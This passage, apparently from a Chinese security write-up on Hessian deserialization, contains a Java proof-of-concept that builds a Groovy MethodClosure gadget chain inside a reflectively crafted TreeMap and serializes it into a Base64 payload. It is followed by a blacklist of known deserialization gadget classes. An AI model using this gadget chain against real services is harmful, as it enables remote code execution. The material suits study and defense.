MethodClosure (c1,"listBindings" ); ConvertedClosure convertedClosure = new ConvertedClosure (methodClosure, "compareTo" ); Object o = Proxy.newProxyInstance(convertedClosure.getClass().getClassLoader(), new Class []{Comparable.class}, convertedClosure); Class<?> e = Class.forName("java.util.TreeMap$Entry" ); Constructor<?> declaredConstructor1 = e.getDeclaredConstructor(Object.class, Object.class, e); declaredConstructor1.setAccessible(true ); Object a = declaredConstructor1.newInstance("a" , 1 , null ); Constructor<?> declaredConstructor2 = e.getDeclaredConstructor(Object.class, Object.class, e); declaredConstructor2.setAccessible(true ); Object o1 = declaredConstructor2.newInstance(o, 2 , a); Class<?> t = Class.forName("java.util.TreeMap" ); TreeMap treeMap = (TreeMap) t.newInstance(); Field size = t.getDeclaredField("size" ); size.setAccessible(true ); size.set(treeMap, 2 ); Field modCount = t.getDeclaredField("modCount" ); modCount.setAccessible(true ); modCount.set(treeMap, 2 ); Field root = t.getDeclaredField("root" ); root.setAccessible(true ); root.set(treeMap, a); Field right = e.getDeclaredField("right" ); right.setAccessible(true ); right.set(a, o1); try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); HessianOutput objectOutputStream = new HessianOutput (byteArrayOutputStream); objectOutputStream.getSerializerFactory().setAllowNonSerializable(true ); objectOutputStream.writeObject(treeMap); objectOutputStream.flush(); objectOutputStream.close(); String _base64 = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(_base64); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); HessianInput objectInputStream = new HessianInput (byteArrayInputStream); objectInputStream.readObject(); } catch (Exception exception) { exception.printStackTrace(); } } }
黑名单 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 org.codehaus.groovy.runtime.MethodClosure clojure.core$constantly clojure.main$eval_opt com.alibaba.citrus.springext.support.parser.AbstractNamedProxyBeanDefinitionParser$ProxyTargetFactory com.alibaba.citrus.springext.support.parser.AbstractNamedProxyBeanDefinitionParser$ProxyTargetFactoryImpl com.alibaba.citrus.springext.util.SpringExtUtil.AbstractProxy com.alipay.custrelation.service.model.redress.Pair com.caucho.hessian.test.TestCons com.mchange.v2.c3p0.JndiRefForwardingDataSource com.mchange.v2.c3p0.WrapperConnectionPoolDataSource com.rometools.rome.feed.impl.EqualsBean com.rometools.rome.feed.impl.ToStringBean com.sun.jndi.rmi.registry.BindingEnumeration com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl com.sun.rowset.JdbcRowSetImpl com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data java.rmi.server.UnicastRemoteObject java.security.SignedObject java.util.ServiceLoader$LazyIterator javax.imageio.ImageIO$ContainsFilter javax.imageio.spi.ServiceRegistry javax.management.BadAttributeValueExpException javax.naming.InitialContext javax.naming.spi.ObjectFactory javax.script.ScriptEngineManager javax.sound.sampled.AudioFormat$Encoding org.apache.carbondata.core.scan.expression.ExpressionResult org.apache.commons.dbcp.datasources.SharedPoolDataSource org.apache.ibatis.executor.loader.AbstractSerialStateHolder org.apache.ibatis.executor.loader.CglibSerialStateHolder org.apache.ibatis.executor.loader.JavassistSerialStateHolder org.apache.ibatis.executor.loader.cglib.CglibProxyFactory org.apache.ibatis.executor.loader.javassist.JavassistSerialStateHolder org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource org.apache.wicket.util.upload.DiskFileItem org.apache.xalan.xsltc.trax.TemplatesImpl org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding org.apache.xpath.XPathContext org.eclipse.jetty.util.log.LoggerLog org.geotools.filter.ConstantExpression org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor org.springframework.beans.factory.BeanFactory org.springframework.beans.factory.config.PropertyPathFactoryBean org.springframework.beans.factory.support.DefaultListableBeanFactory org.springframework.jndi.support.SimpleJndiBeanFactory org.springframework.orm.jpa.AbstractEntityManagerFactoryBean org.springframework.transaction.jta.JtaTransactionManager org.yaml.snakeyaml.tokens.DirectiveToken sun.rmi.server.UnicastRef javax.management.ImmutableDescriptor org.springframework.jndi.JndiObjectTargetSource ch.qos.logback.core.db.JNDIConnectionSource java.beans.Expression javassist.bytecode org.apache.ibatis.javassist.bytecode org.springframework.beans.factory.config.MethodInvokingFactoryBean com.alibaba.druid.pool.DruidDataSource com.sun.org.apache.bcel.internal.util.ClassLoader com.alibaba.druid.stat.JdbcDataSourceStat org.apache.tomcat.dbcp.dbcp.BasicDataSource com.sun.org.apache.xml.internal.security.signature.XMLSignatureInput javassist.tools.web.Viewer net.bytebuddy.dynamic.loading.ByteArrayClassLoader org.apache.commons.beanutils.BeanMap com.caucho.naming.QName com.sun.org.apache.xpath